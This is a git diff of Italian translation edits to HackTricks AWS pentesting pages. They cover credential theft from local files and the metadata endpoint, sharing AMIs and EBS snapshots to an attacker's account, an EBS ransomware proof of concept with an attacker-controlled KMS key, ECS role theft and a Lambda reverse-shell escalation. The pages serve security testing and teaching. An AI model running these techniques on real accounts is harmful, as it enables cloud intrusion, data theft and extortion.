mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -31,19 +31,19 @@ Strumenti per simulare attacchi:
|
||||
|
||||
Per auditare un ambiente AWS è molto importante sapere: quali **servizi vengono utilizzati**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi AWS interni e i **servizi esterni**.
|
||||
|
||||
Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente AWS** è riuscire a ottenere alcune **credenziali**. Ecco alcune idee su come farlo:
|
||||
Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente AWS** è riuscire a ottenere alcune **credenziali**. Qui hai alcune idee su come farlo:
|
||||
|
||||
- **Leaks** in github (o simili) - OSINT
|
||||
- **Leak** su github (o simili) - OSINT
|
||||
- **Ingegneria** Sociale
|
||||
- Riutilizzo della **Password** (leak di password)
|
||||
- Vulnerabilità nelle Applicazioni Ospitate su AWS
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con accesso all'endpoint dei metadati
|
||||
- Vulnerabilità nelle applicazioni ospitate su AWS
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) con accesso all'endpoint dei metadati
|
||||
- **Lettura di File Locali**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- **breach** di terze parti
|
||||
- **Dipendente** Interno
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenziali
|
||||
- [**Cognito**](aws-services/aws-cognito-enum/index.html#cognito) credenziali
|
||||
|
||||
Oppure compromettendo un servizio non autenticato esposto:
|
||||
|
||||
@@ -67,7 +67,7 @@ aws-permissions-for-a-pentest.md
|
||||
Se hai trovato un SSRF in una macchina all'interno di AWS, controlla questa pagina per trucchi:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che le aziende potrebbero utilizzare **canary tokens** per identificare quando **i token vengono rubati e utilizzati**. Si consiglia di controllare se un token è un canary token o meno prima di utilizzarlo.\
|
||||
> Nota che le aziende potrebbero utilizzare **canary tokens** per identificare quando **i token vengono rubati e utilizzati**. Si consiglia di verificare se un token è un canary token o meno prima di utilizzarlo.\
|
||||
> Per ulteriori informazioni [**controlla questa pagina**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
@@ -102,7 +102,7 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
Se hai abbastanza permessi, **controllare i privilegi di ciascuna entità all'interno dell'account AWS** ti aiuterà a capire cosa puoi fare e cosa possono fare altre identità e come **escalare i privilegi**.
|
||||
|
||||
Se non hai abbastanza permessi per enumerare IAM, puoi **rubare bruteforce** per scoprirli.\
|
||||
Se non hai abbastanza permessi per enumerare IAM, puoi **rubare e forzare** per scoprirli.\
|
||||
Controlla **come fare l'enumerazione e il brute-forcing** in:
|
||||
|
||||
{{#ref}}
|
||||
@@ -110,18 +110,18 @@ aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Ora che **hai alcune informazioni sulle tue credenziali** (e se sei un red team speriamo che **non sei stato rilevato**). È tempo di scoprire quali servizi vengono utilizzati nell'ambiente.\
|
||||
> Ora che **hai alcune informazioni sulle tue credenziali** (e se sei un red team, speriamo che **non sei stato rilevato**). È tempo di scoprire quali servizi vengono utilizzati nell'ambiente.\
|
||||
> Nella sezione seguente puoi controllare alcuni modi per **enumerare alcuni servizi comuni.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS ha un numero straordinario di servizi, nella pagina seguente troverai **informazioni di base, enumerazione** cheatsheets\*\*,\*\* come **evitare il rilevamento**, ottenere **persistenza** e altri **trucchi di post-exploitation** su alcuni di essi:
|
||||
AWS ha un'incredibile quantità di servizi, nella pagina seguente troverai **informazioni di base, enumerazione** cheatsheets\*\*,\*\* come **evitare il rilevamento**, ottenere **persistenza** e altri **trucchi di post-exploitation** su alcuni di essi:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Nota che **non** è necessario eseguire tutto il lavoro **manualmente**, qui sotto in questo post puoi trovare una **sezione su** [**strumenti automatici**](./#automated-tools).
|
||||
Nota che **non** è necessario eseguire tutto il lavoro **manualmente**, qui sotto in questo post puoi trovare una **sezione su** [**strumenti automatici**](#automated-tools).
|
||||
|
||||
Inoltre, in questa fase potresti aver scoperto **più servizi esposti a utenti non autenticati**, potresti essere in grado di sfruttarli:
|
||||
|
||||
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Se puoi **controllare almeno i tuoi permessi** su diverse risorse, potresti **controllare se sei in grado di ottenere ulteriori permessi**. Dovresti concentrarti almeno sui permessi indicati in:
|
||||
Se puoi **controllare almeno i tuoi permessi** su diverse risorse, potresti **verificare se sei in grado di ottenere ulteriori permessi**. Dovresti concentrarti almeno sui permessi indicati in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -140,28 +140,28 @@ aws-privilege-escalation/
|
||||
## Publicly Exposed Services
|
||||
|
||||
Durante l'enumerazione dei servizi AWS potresti aver trovato alcuni di essi **che espongono elementi a Internet** (porte VM/Container, database o servizi di coda, snapshot o bucket...).\
|
||||
Come pentester/red teamer dovresti sempre controllare se riesci a trovare **informazioni sensibili / vulnerabilità** su di essi poiché potrebbero fornirti **ulteriore accesso all'account AWS**.
|
||||
Come pentester/red teamer dovresti sempre controllare se puoi trovare **informazioni sensibili / vulnerabilità** su di essi poiché potrebbero fornirti **ulteriore accesso all'account AWS**.
|
||||
|
||||
In questo libro dovresti trovare **informazioni** su come trovare **servizi AWS esposti e come controllarli**. Per quanto riguarda come trovare **vulnerabilità nei servizi di rete esposti**, ti consiglio di **cercare** il **servizio** specifico in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## Compromising the Organization
|
||||
|
||||
### From the root/management account
|
||||
|
||||
Quando l'account di gestione crea nuovi account nell'organizzazione, viene creata una **nuova role** nel nuovo account, chiamata per impostazione predefinita **`OrganizationAccountAccessRole`** e dando la policy **AdministratorAccess** all'**account di gestione** per accedere al nuovo account.
|
||||
Quando l'account di gestione crea nuovi account nell'organizzazione, viene creata una **nuova funzione** nel nuovo account, chiamata per impostazione predefinita **`OrganizationAccountAccessRole`** e viene fornita la policy **AdministratorAccess** all'**account di gestione** per accedere al nuovo account.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quindi, per accedere come amministratore a un account secondario, devi:
|
||||
|
||||
- **Compromettere** l'**account di gestione** e trovare l'**ID** degli **account secondari** e i **nomi** della **role** (OrganizationAccountAccessRole per impostazione predefinita) che consente all'account di gestione di accedere come admin.
|
||||
- **Compromettere** l'**account di gestione** e trovare l'**ID** degli **account secondari** e i **nomi** della **funzione** (OrganizationAccountAccessRole per impostazione predefinita) che consente all'account di gestione di accedere come admin.
|
||||
- Per trovare gli account secondari, vai alla sezione organizzazioni nella console aws o esegui `aws organizations list-accounts`
|
||||
- Non puoi trovare il nome delle role direttamente, quindi controlla tutte le policy IAM personalizzate e cerca qualsiasi cosa che consenta **`sts:AssumeRole` sugli account secondari precedentemente scoperti**.
|
||||
- **Compromettere** un **principale** nell'account di gestione con **`sts:AssumeRole` permesso sulla role negli account secondari** (anche se l'account consente a chiunque dell'account di gestione di impersonare, poiché è un account esterno, sono necessari permessi specifici `sts:AssumeRole`).
|
||||
- Non puoi trovare il nome delle funzioni direttamente, quindi controlla tutte le policy IAM personalizzate e cerca qualsiasi cosa che consenta **`sts:AssumeRole` sugli account secondari precedentemente scoperti**.
|
||||
- **Compromettere** un **principale** nell'account di gestione con **`sts:AssumeRole` permesso sulla funzione negli account secondari** (anche se l'account consente a chiunque dell'account di gestione di impersonare, poiché è un account esterno, sono necessari permessi specifici `sts:AssumeRole`).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining è uno strumento di valutazione della sicurezza AWS IAM che identifica le violazioni del principio del minimo privilegio e genera un rapporto HTML prioritizzato per rischio.\
|
||||
Mostrerà i clienti **eccessivamente privilegiati**, le **policy** inline e aws e quali **principali hanno accesso a esse**. (Controlla non solo per privesc ma anche altri tipi di permessi interessanti, consigliato da usare).
|
||||
Mostrerà i clienti **eccessivamente privilegiati**, le **policy** inline e aws e quali **principali hanno accesso a esse**. (Non controlla solo per privesc ma anche altri tipi di permessi interessanti, si consiglia di usarlo).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -296,7 +296,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit di Aqua è un progetto open-source progettato per consentire la rilevazione di **rischi di sicurezza nelle infrastrutture cloud** degli account, inclusi: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) e GitHub (non cerca ShadowAdmins).
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit di Aqua è un progetto open-source progettato per consentire la rilevazione di **rischi di sicurezza negli account di infrastruttura cloud**, inclusi: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) e GitHub (non cerca ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
@@ -335,8 +335,8 @@ scout aws -p dev
|
||||
### Audit Costante
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian è un motore di regole per gestire account e risorse nel cloud pubblico. Permette agli utenti di **definire politiche per abilitare un'infrastruttura cloud ben gestita**, sicura e ottimizzata in termini di costi. Consolida molti degli script ad hoc che le organizzazioni hanno in uno strumento leggero e flessibile, con metriche e report unificati.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** è una piattaforma per **monitoraggio continuo della conformità, reporting della conformità e automazione della sicurezza per il clou**d. In PacBot, le politiche di sicurezza e conformità sono implementate come codice. Tutte le risorse scoperte da PacBot vengono valutate rispetto a queste politiche per misurare la conformità alle politiche. Il framework **auto-fix** di PacBot fornisce la possibilità di rispondere automaticamente alle violazioni delle politiche intraprendendo azioni predefinite.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert è un framework di analisi dei dati **in tempo reale** senza server che ti consente di **acquisire, analizzare e allertare** sui dati provenienti da qualsiasi ambiente, **utilizzando le fonti di dati e la logica di allerta che definisci**. I team di sicurezza informatica utilizzano StreamAlert per scansionare terabyte di dati di log ogni giorno per la rilevazione e risposta agli incidenti.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** è una piattaforma per **monitoraggio continuo della conformità, reporting della conformità e automazione della sicurezza per il clou**d. In PacBot, le politiche di sicurezza e conformità sono implementate come codice. Tutte le risorse scoperte da PacBot vengono valutate rispetto a queste politiche per misurare la conformità. Il framework **auto-fix** di PacBot fornisce la possibilità di rispondere automaticamente alle violazioni delle politiche intraprendendo azioni predefinite.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert è un framework di analisi dei dati **in tempo reale** senza server che ti consente di **acquisire, analizzare e allertare** sui dati provenienti da qualsiasi ambiente, **utilizzando fonti di dati e logica di allerta che definisci**. I team di sicurezza informatica utilizzano StreamAlert per scansionare terabyte di dati di log ogni giorno per la rilevazione e risposta agli incidenti.
|
||||
|
||||
## DEBUG: Cattura delle richieste AWS cli
|
||||
```bash
|
||||
|
||||
@@ -7,10 +7,10 @@
|
||||
Per informazioni su SAML, controlla:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
Per configurare una **Federazione di Identità tramite SAML**, è sufficiente fornire un **nome** e il **metadata XML** contenente tutta la configurazione SAML (**endpoints**, **certificato** con chiave pubblica)
|
||||
Per configurare una **Federazione di Identità tramite SAML**, è necessario fornire un **nome** e il **metadata XML** contenente tutta la configurazione SAML (**endpoints**, **certificato** con chiave pubblica)
|
||||
|
||||
## OIDC - Abuso di Github Actions
|
||||
|
||||
@@ -20,7 +20,7 @@ Per aggiungere un'azione github come fornitore di identità:
|
||||
2. Per _URL del fornitore_, inserisci `https://token.actions.githubusercontent.com`
|
||||
3. Clicca su _Ottieni thumbprint_ per ottenere il thumbprint del fornitore
|
||||
4. Per _Audience_, inserisci `sts.amazonaws.com`
|
||||
5. Crea un **nuovo ruolo** con le **permissive** necessarie all'azione github e una **politica di fiducia** che fidi del fornitore come:
|
||||
5. Crea un **nuovo ruolo** con le **permissive** di cui l'azione github ha bisogno e una **politica di fiducia** che fidi del fornitore come:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - Abuso di EKS
|
||||
## OIDC - EKS Abuse
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -110,7 +110,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
Questa policy indica correttamente che **solo** il **cluster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` può assumere il ruolo. Tuttavia, non indica quale account di servizio può assumerlo, il che significa che **QUALSIASI account di servizio con un token di identità web** sarà **in grado di assumere** il ruolo.
|
||||
|
||||
Per specificare **quale account di servizio dovrebbe essere in grado di assumere il ruolo,** è necessario specificare una **condizione** in cui è **specificato il nome dell'account di servizio**, come:
|
||||
Per specificare **quale account di servizio dovrebbe essere in grado di assumere il ruolo,** è necessario specificare una **condizione** in cui **il nome dell'account di servizio è specificato**, come:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
@@ -10,7 +10,7 @@ Per ulteriori informazioni controlla:
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Specchio VPC Maligno -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Il mirroring del traffico VPC **duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a qualcosa come un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusare di questo per catturare tutto il traffico e ottenere informazioni sensibili da esso:
|
||||
@@ -21,9 +21,9 @@ Per ulteriori informazioni controlla questa pagina:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copia Istanza Eseguita
|
||||
### Copia dell'istanza in esecuzione
|
||||
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrare (controlla [trucchi di escalation dei privilegi EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Tuttavia, un altro modo per controllare cosa contiene è **creare un'AMI e avviare una nuova istanza (anche nel tuo stesso account) da essa**:
|
||||
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrare (controlla [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Tuttavia, un altro modo per controllare cosa contiene è **creare un'AMI e avviare una nuova istanza (anche nel tuo stesso account) da essa**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -95,7 +95,7 @@ Permessi richiesti:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa dei Security Groups o dei NACL. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa dei Security Groups o dei NACL. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
|
||||
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -104,7 +104,7 @@ Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico che può
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Ottieni le credenziali temporanee Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)
|
||||
3. Ottieni le credenziali temporanee Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Trasferisci le credenziali al tuo computer nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
|
||||
5. Accedi a EKS come Bastion EC2:
|
||||
```shell
|
||||
@@ -119,11 +119,11 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Nota che le connessioni SSL falliranno a meno che tu non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il sicuro tunnel AWS SSM, sei al sicuro da qualsiasi tipo di attacchi MitM.
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il sicuro tunnel AWS SSM, sei al sicuro da qualsiasi tipo di attacco MitM.
|
||||
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
|
||||
### Condividi AMI
|
||||
### Share AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
@@ -131,15 +131,15 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMI) pubbliche o private**. Automatizza il processo di avvio di istanze da AMI target, montando i loro volumi e scansionando alla ricerca di potenziali segreti o dati sensibili.
|
||||
|
||||
### Condividi Snapshot EBS
|
||||
### Condividi snapshot EBS
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, considerando quanto sia facile usarlo per crittografare vari servizi AWS.
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, data la facilità con cui è possibile utilizzarlo per crittografare vari servizi AWS.
|
||||
|
||||
Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato mantenerebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption'
|
||||
Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato manterrebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -231,7 +231,7 @@ Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal clie
|
||||
]
|
||||
}
|
||||
```
|
||||
La regola della policy della chiave deve avere i seguenti abilitati per consentire l'uso per crittografare un volume EBS:
|
||||
La regola della policy della chiave deve avere i seguenti permessi abilitati per consentire l'uso per crittografare un volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -239,7 +239,7 @@ La regola della policy della chiave deve avere i seguenti abilitati per consenti
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Ora con la chiave pubblicamente accessibile da utilizzare. Possiamo usare un account 'vittima' che ha alcune istanze EC2 avviate con volumi EBS non crittografati allegati. I volumi EBS di questo account 'vittima' sono ciò che stiamo mirando a crittografare, questo attacco è sotto l'assunto di una violazione di un account AWS ad alta privilegio.
|
||||
Ora con la chiave pubblicamente accessibile da utilizzare. Possiamo usare un account 'vittima' che ha alcune istanze EC2 attive con volumi EBS non crittografati allegati. I volumi EBS di questo account 'vittima' sono ciò che stiamo mirando a crittografare, questo attacco è sotto l'assunto di una violazione di un account AWS ad alto privilegio.
|
||||
|
||||
 
|
||||
|
||||
@@ -328,7 +328,7 @@ Aspetta un momento affinché la nuova policy della chiave si propaghi. Poi torna
|
||||
|
||||
 
|
||||
|
||||
Ma quando tenti di avviare nuovamente l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre, poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave, poiché la policy della chiave non lo consente più.
|
||||
Ma quando tenti di riavviare effettivamente l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre, poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave, poiché la policy della chiave non lo consente più.
|
||||
|
||||
 
|
||||
|
||||
|
||||
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
|
||||
Dopo aver scaricato le immagini, dovresti **controllarle per informazioni sensibili**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
@@ -12,23 +12,23 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### Ruoli IAM dell'Host
|
||||
|
||||
In ECS un **ruolo IAM può essere assegnato al task** in esecuzione all'interno del container. **Se** il task è eseguito all'interno di un **EC2** instance, l'**EC2 instance** avrà **un altro ruolo IAM** ad esso associato.\
|
||||
In ECS un **ruolo IAM può essere assegnato al task** in esecuzione all'interno del container. **Se** il task viene eseguito all'interno di un **EC2** instance, l'**EC2 instance** avrà **un altro ruolo IAM** ad esso associato.\
|
||||
Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere il ruolo IAM associato all'ECR e all'istanza EC2**. Per ulteriori informazioni su come ottenere queste credenziali controlla:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che se l'istanza EC2 sta applicando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
|
||||
### Privesc al nodo per rubare credenziali e segreti di altri container
|
||||
### Privilegi di escalation al nodo per rubare credenziali e segreti di altri container
|
||||
|
||||
Inoltre, EC2 utilizza docker per eseguire i task EC, quindi se riesci a scappare al nodo o **accedere al socket docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati.
|
||||
Inoltre, EC2 utilizza Docker per eseguire i task EC, quindi se riesci a scappare al nodo o **accedere al socket Docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati.
|
||||
|
||||
#### Far eseguire i container nell'host attuale
|
||||
|
||||
Inoltre, il **ruolo dell'istanza EC2** avrà solitamente abbastanza **permessi** per **aggiornare lo stato dell'istanza del container** delle istanze EC2 utilizzate come nodi all'interno del cluster. Un attaccante potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli in esecuzione come **REPLICA** saranno **eseguiti in un'istanza diversa,** potenzialmente all'interno dell'**istanza dell'attaccante** in modo che possa **rubare i loro ruoli IAM** e potenziali informazioni sensibili dall'interno del container.
|
||||
Inoltre, il **ruolo dell'istanza EC2** avrà di solito abbastanza **permessi** per **aggiornare lo stato dell'istanza del container** delle istanze EC2 utilizzate come nodi all'interno del cluster. Un attaccante potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli in esecuzione come **REPLICA** saranno **eseguiti in un'altra istanza,** potenzialmente all'interno dell'**istanza dell'attaccante** in modo che possa **rubare i loro ruoli IAM** e potenziali informazioni sensibili dall'interno del container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
Ulteriori informazioni su lambda in:
|
||||
Maggiore informazione su lambda in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
@@ -13,7 +13,7 @@ Ulteriori informazioni su lambda in:
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
|
||||
Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell ad esempio)**.\
|
||||
Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell per esempio)**.\
|
||||
Una volta configurata la funzione, l'utente può **attivare la sua esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente effettivamente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\\
|
||||
|
||||
